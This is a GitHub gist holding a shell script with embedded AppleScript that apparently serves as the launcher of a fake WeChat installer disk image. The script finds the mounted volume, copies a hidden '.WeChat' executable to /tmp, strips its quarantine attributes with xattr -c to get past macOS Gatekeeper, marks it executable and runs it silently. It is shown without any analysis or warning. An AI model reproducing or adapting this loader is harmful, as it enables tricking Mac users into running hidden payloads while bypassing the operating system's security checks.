Last active
February 3, 2025 10:56
-
-
Save cmin764/ba4ed03ce7ff11a512aaeeaf4c1b20cd to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| osascript -e 'on run | |
| try | |
| set volumeList to list disks | |
| end try | |
| set setupVolume to "" | |
| try | |
| repeat with vol in volumeList | |
| if vol contains "WeChat" then | |
| set setupVolume to vol | |
| exit repeat | |
| end if | |
| end repeat | |
| end try | |
| if setupVolume is "" then | |
| return | |
| end if | |
| set scriptDir to "/Volumes/" & setupVolume & "/" | |
| set executableName to ".WeChat" | |
| set executablePath to scriptDir & executableName | |
| set tmpExecutablePath to "/tmp/" & executableName | |
| try | |
| do shell script "rm -f " & quoted form of tmpExecutablePath | |
| end try | |
| try | |
| do shell script "cp " & quoted form of executablePath & " " & quoted form of tmpExecutablePath | |
| end try | |
| try | |
| do shell script "xattr -c " & quoted form of tmpExecutablePath | |
| end try | |
| try | |
| do shell script "chmod +x " & quoted form of tmpExecutablePath | |
| end try | |
| try | |
| do shell script quoted form of tmpExecutablePath | |
| end try | |
| end run' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment